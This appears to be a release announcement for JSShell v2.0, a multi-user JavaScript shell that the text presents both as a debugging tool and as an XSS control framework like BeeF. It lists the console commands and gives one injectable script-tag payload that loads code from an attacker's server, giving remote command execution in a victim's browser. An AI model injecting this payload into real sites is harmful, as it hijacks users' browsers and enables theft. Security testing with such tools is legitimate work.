JSShell v2.0 Releases: An interactive multi-user web JS shell

JSShell

An interactive multi-user web based javascript shell. It was initially created in order to debug remote esoteric browsers during experiments and research. This tool can be easily attached to XSS (Cross Site Scripting) payload to achieve browser remote code execution (similar to the BeeF framework).

Version 2.0 is created entirely from scratch, introducing new exciting features, stability and maintainability.

Features

• Multi-client support
• Cyclic DOM objects support
• Pre-flight scripts
• Command Queue & Context
• Extensible with Plugins
• Injectable via <script> tags
• Dumping command output to file
• Shell pagination

py                  Invoke Python command or shell

quit                Exit this application



Shell Based Operations

--------------------------------------------------------------------------------

back                Un-select the current selected client

clients             List and control the clients that have registered to our system

commands            Show the executed commands on the selected client

dump                Dumps a command to the disk

execute             Execute commands on the selected client

select              Select a client as the current client

Flow

JSShell supports 2 methods of operation:

1. Injectable Shell (similar to the BeeF framework)
2. Hosted Shell (for debugging)

Injectable Shell

Similar to other XSS control frameworks (like BeeF), JSShell is capable of managing successful XSS exploitations. In an example, if you can inject a script tag, inject the following resource to your payload, and a new client will appear in your console:

<script src=”http://{YOUR_SERVER_IP}:{PORT}/content/js”></script>

Hosted Shell

If you desire to debug exotic and esoteric browsers, you can simply navigate to http://{YOUR_SERVER_IP}:{PORT}/ and a new client will pop up into your JSShell CLI client. Now it is debuggable via our JSShell console.
